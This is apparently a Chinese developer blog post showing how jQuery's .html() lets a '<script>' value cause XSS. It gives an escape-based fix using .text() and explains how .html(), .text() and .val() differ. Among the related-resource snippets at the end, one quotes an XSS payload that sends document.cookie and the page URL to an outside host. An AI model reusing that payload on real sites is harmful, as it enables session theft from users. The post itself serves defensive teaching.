`

一个XSS攻击的例子

xss 
阅读更多

一个XSS攻击的例子



 

  • jsp代码
        <div id="getObjectUrlPanel" class="hide">
            <form id="getObjectUrlForm" class="form-horizontal" >
                <div class="row" style="margin-bottom: 0px;">
                    <div class="control-group span">
                        <label class="control-label" style="width: 60px;">
                            文件 : 
                        </label>
                        <div class="controls">  
                            <div class="contentLong">                       
                                <label class="control-label" 
                                    style="text-align: left; 
                                    width: 300px;" id="objectKey"></label>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="row" style="margin-top:23px; height:70px;">
                    <div class="control-group span">
                        <label class="control-label" style="width:60px;">
                            地址 : 
                        </label>
                        <div class="controls">
                            <div id="getObjectUrlDiv">
                                请输入链接有效时间: <input type="text"
                                  id="timeOut" name="timeOut" 
                                  {required:true,regexp:/^[1-9]\d*$/}" 
                                  data-messages="{regexp:'只能为正整数!'}" />秒
                                <button id="getObjectUrl" type="button"     

                                  class="button button-small">
                                  <i class="icon-search"></i>获取URL</button>
                            </div>
                            <div class="contentLong">
                                <a id="objectUrl"  target="_blank"></a>
                            </div>  
                        </div>
                    </div>
                </div>
            </form>
        </div>
  • 错误的js代码
1. 初始值
    $('#objectKey').val('<script>alert(1)');
    $('#objectKey').html('<script>alert(1)');
2. 获取值
    $('#objectKey').val();
  • 以上js带来的问题 
    1. 如果使用html,那就可以不用.val(),获取值部分可以改为$(‘#objectKey’).html();
    2. 使用.html,没有做到防XSS,所有需主动显示到页面的字段,都应做好防XSS
    3. “文件”那一栏并不是input元素,而是span元素,不要使用.val,而应使用.text
  • 改写建议
1. 初始值
    $('#objectKey').text(escape('<script>alert(1)'));
2. 获取值
    $('#objectKey').text();
3. escape方法
function escape(val) {
    if (!val) {
        return'';
    }
    var htmlEscapes = {
        '&':'&amp;',
        '<':'&lt;',
        '>':'&gt;',
        '"':'&quot;',
        "'":'&#x27;',
        '/':'&#x2F;'
    };
    var htmlEscaper = /[&<>"'\/]/g;
    return ('' + val).replace(htmlEscaper, function(match) {
        return htmlEscapes[match];
    });
}
  • 附 
    jQuery的html(),text()和val()区别 
    1、.html()用为读取和修改元素的HTML标签 
    2、.text()用来读取或修改元素的纯文本内容 span div 元素 
    3、.val()用来读取或修改表单元素的value值 input 元素

 

  • 大小: 5.6 KB
0
0
分享到:
评论

相关推荐

    XSS攻击实例1

    简单让你了解xss攻击。 项目基于Asp.net 框架,VS2010下创建,C#语言

    Google App Engine WebService Java源码(Xss跨站脚本攻击过滤服务)

    将 AntiSamy Xss 跨站脚本攻击过滤封装成 GoogleAppEngine(GAE)WebService。 没开发过GAE WebService的同学可以作为一个在 GAE 上开发 WebService 的例子参考。

    利用PHP编程防范XSS跨站脚本攻击

    国内不少论坛都存在跨站脚本漏洞,国外也很多这样的例子。跨站攻击很容易就可以构造,而且非常隐蔽,不易被查觉(通常盗取信息后马上跳转回原页面)。在此主要谈谈如何防范。首先,跨站脚本攻击都是由于对用户的输入...

    PHP和XSS跨站攻击的防范

    国内不少论坛都存在跨站脚本漏洞,例如这里 有一个Google Hack+XSS的攻击例子,针对的是Discuz 4.0.0RC3。国外也很多这样的例子,甚至Google也出现过,不过在12月初时修正了。跨站攻击很容易就可以构造,而且...

    xss-paper:跨站脚本 (XSS) 漏洞利用的介绍。 用真实的例子

    跨站点脚本 (XSS) 漏洞... 我们演示的步骤是:设置一个易受攻击的应用程序,然后协调针对它的攻击(代表目标用户执行操作;窃取私人信息;在浏览器中的 Man in the Browser 攻击中破坏目标浏览器)。 你会在这里找到:

    CookieStealer:如何通过 xss 抓取 cookie 用于教育目的的简单示例

    这个存储库只是一个例子,如何通过 xss 获取 cookie 以用于教育目的。 免责声明 我对您的行为不承担任何责任。 此处提供的代码仅用于教育目的。 如果您发现一个带有代码注入漏洞的网站,请通知他们。 怎么跑 简单地...

    ESAPI使用方法

    ESAPI入门使用例子,防XSS攻击,防SQL注入,过滤等等。

    web-attacks:展示一些流行的网络攻击的存储库

    努力用极其简单的例子来解释攻击,以便它给出一个清晰的脆弱性图景。 它涵盖了哪些所有攻击? 基于DOM的XSS 本地文件包含 参数篡改 反射型 XSS 远程代码执行 远程文件包含 未经验证的重定向和转发 我可以为这个...

    开源bbs源码java-Software-and-System-Security:xss/sql注入/shellcode/内存管理/二进制安全

    软件安全概述+xss攻击入门 [作业:xss复现] 软件安全 三大问题 有什么安全问题,安全问题产生的原因 二进制方面 内存相关问题 有明确的机制 例子:缓冲区溢出,空指针,格式化字符串 逻辑错误问题 多种多样 Web方面 ...

    幻影Webzine.1.7z

    一个很典型的xss攻击语句如下: xss exp: url=document.top.location.href; cookie=[removed]; c=new Image(); c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url; 一些应用程序考虑到这个问题...

    php跨站攻击实例分析

    下面就以一个防止跨站攻击例子来说明,希望对各位有帮助。 复制代码 代码如下:&lt;?php #demo for prevent csrf /** * enc */ function encrypt($token_time) { return md5(‘!@##$@$$#C’ . $token_time); } $token...

    jquery.template:更安全的模板,使用 jQuery

    只需为模板传递一个 CSS 选择器,然后传递一个带有值的对象。 (模板在第一次使用后缓存) var $el = $ . template ( '#player' , { team : 'green' , image : 'images/green.jpg' , name : 'Gillian Green' } ...

    YII Framework框架教程之安全方案详解

    本文讲述了YII Framework框架的安全方案。分享给大家供大家参考,具体如下: web应用的安全问题是很重要的,在“黑客”盛行的年代,你的网站可能明天都... 举个例子,一个未经良好设计的论坛系统可能不经检查就显示用户

    mobileHTML5安全

    然而,事情都有两面性,大多数web应用的安全措施都是基于传统的HTML,没有覆盖到HTML5的新特性,下面来看看由于HTML5新特性而带来的安全隐患:XSS(跨站脚本攻击)这里不想全面介绍,这是web安全中最基础的一个问题...

    react-token-auth

    React令牌验证npm install react-token-auth 动机react-token-auth是一个小型库,用于在auth流程中管理令牌。 它不能解决所有可能的用例,但可以帮助解决最常见的用例之一:当拥有accessToken和refreshToken ,您...

    [完整][中文][WEB安全测试].(美)霍普.扫描版.pdf

    通过本书和示例中所用的免费工具,你可以将安全因素加入到你的测试套装中,从而得以睡个安稳觉。 作者简介  Paco Hope,是Cigital公司的一名技术经理,《Mastering FreeBsD and 0penBsDsecurity》 (由O’Reilly...

Global site tag (gtag.js) - Google Analytics